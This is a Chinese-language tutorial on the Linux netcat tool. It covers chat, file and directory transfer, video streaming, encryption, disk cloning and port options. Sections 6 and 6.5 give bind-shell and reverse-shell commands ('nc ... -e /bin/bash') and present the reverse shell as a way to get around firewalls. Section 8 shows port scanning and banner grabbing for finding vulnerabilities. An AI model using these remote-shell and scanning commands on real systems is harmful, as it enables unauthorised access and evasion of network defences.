1.什么是Netcat?
Netcat 或者叫 nc 是 Linux 下的一个用于调试和检查网络工具包。可用于创建 TCP/IP 连接,最大的用途就是用来处理 TCP/UDP 套接字。
netcat的参数含义:
2.用netcat搭建局域网客户端和服务端
服务端
netcat -l -p port或 nc -l -p port 注意-p参数不能少
例如:netcat -l -p 10000
用netstat -ntpl 查看服务是否运行
客户端
netcat ip port
这样客户端和服务端之间就可以互发信息了
3.单个文件传输
命令:netcat -l -p port < file (注意-p必须有,< 前后要留空格),可以传输任何类型的文件,但限制在于一次只能传输一个文件,且接收方要知道文件的后缀
实例:首先使用“cd”命令进入传送文件所在目录,然后输入:netcat -l -p 10000 < test.txt
接收方命令:netcat -n ip port > file
实例:netcat -n 192.168.0.72 10000 > receive.txt
4.多个文件传输
若我们要发送多个文件或者整个目录,也可以实现,此时需要一个tar压缩工具。
在主机A进行发送:
命令 :tar -cvf - server_dir_name | netcat -l -p port
实例:tar -cvf - /home/yuanye/Desktop/123/ | netcat -l -p 10002
在主机B进行接收
命令: netcat -n ip port | tar -xvf -
实例:netcat -n 192.168.0.72 10002 | tar -xvf -
5.视频流传输
主机A作为server,将视频发至指定端口:
命令:cat video.avi | netcat -l -p port
实例:首先使用“cd”命令进入想要保存文件的目录,然后输入:cat test.flv | netcat -l -p 10002
主机B作为client,接收视频,首先要安装mplayer(apt-get install mplayer)
命令:netcat server_ip port | mplayer -vo x11 -cache 3000 -
实例:netcat 192.168.0.72 10002 | mplayer -vo x11 -cache 3000 -
6.创建远程shell
现将主机A作为server:
命令:netcat -l -p port -e /bin/bash
实例:netcat -l -p 10002 -e /bin/bash
主机B作为client:
命令:netcat server_ip port
实例:netcat 192.168.0.72 10002
后面的功能暂时没有测试了,有的命令后面可能少了一个参数 -p
6.5 反向shell
反向shell是指在客户端打开的shell。反向shell这样命名是因为不同于其他配置,这里服务器使用的是由客户提供的服务。
服务端
$nc -l 1567
在客户端,简单地告诉netcat在连接完成后,执行shell。
客户端
$nc 172.31.100.7 1567 -e /bin/bash
现在,什么是反向shell的特别之处呢
反向shell经常被用来绕过防火墙的限制,如阻止入站连接。例如,我有一个专用IP地址为172.31.100.7,我使用代理服务器连接到外部网络。如果我想从网络外部访问 这台机器如1.2.3.4的shell,那么我会用反向外壳用于这一目的。
7. 加密你通过网络发送的数据
如果你担心你在网络上发送数据的安全,你可以在发送你的数据之前用如mcrypt的工具加密。
服务端
$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
使用mcrypt工具加密数据。
客户端
$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567
使用mcrypt工具解密数据。
以上两个命令会提示需要密码,确保两端使用相同的密码。
这里我们是使用mcrypt用来加密,使用其它任意加密工具都可以
8.端口扫描
端口扫描经常被系统管理员和黑客用来发现在一些机器上开放的端口,帮助他们识别系统中的漏洞。
$nc -z -v -n 172.31.100.7 21-25
可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp.
z 参数告诉netcat使用0 IO,连接成功后立即关闭连接, 不进行数据交换(谢谢@jxing 指点)
v 参数指使用冗余选项(译者注:即详细输出)
n 参数告诉netcat 不要使用DNS反向查询IP地址的域名
这个命令会打印21到25 所有开放的端口。Banner是一个文本,Banner是一个你连接的服务发送给你的文本信息。当你试图鉴别漏洞或者服务的类型和版本的时候,Banner信息是非常有用的。但是,并不是所有的服务都会发送banner。
一旦你发现开放的端口,你可以容易的使用netcat 连接服务抓取他们的banner。
$ nc -v 172.31.100.7 21
netcat 命令会连接开放端口21并且打印运行在这个端口上服务的banner信息。
9. 克隆一个设备
如果你已经安装配置一台Linux机器并且需要重复同样的操作对其他的机器,而你不想在重复配置一遍。不在需要重复配置安装的过程,只启动另一台机器的一些引导可以随身碟和克隆你的机器。
克隆Linux PC很简单,假如你的系统在磁盘/dev/sda上
Server
$dd if=/dev/sda | nc -l 1567
Client
$nc -n 172.31.100.7 1567 | dd of=/dev/sda
dd是一个从磁盘读取原始数据的工具,我通过netcat服务器重定向它的输出流到其他机器并且写入到磁盘中,它会随着分区表拷贝所有的信息。但是如果我们已经做过分区并且只需要克隆root分区,我们可以根据我们系统root分区的位置,更改sda 为sda1,sda2.等等。
10.指定源端口
在3中,client接收使用的随机端口接收server端的数据,要想使用特定端口接收数据可以使用参数“-p”来指定
命令:netcat server_ip port1 -p port2
实例:netcat 192.168.237.131 10000 -p 1234
注意使用1024以内的端口需要root权限。
11.指定源地址
在2.2.3中,client使用一个网卡接收文件,当client有多块网卡的时候,可以通过参数“-s”指定接收文件的网卡。
命令:netcat server_ip port -s client_ip > file
实例:netcat 192.168.237.131 10000 -s 192.168.237.132 > receive.txt
参考:
https://blog.csdn.net/wangqingchuan92/article/details/79666885
https://www.oschina.net/translate/linux-netcat-command?lang=chs&p=1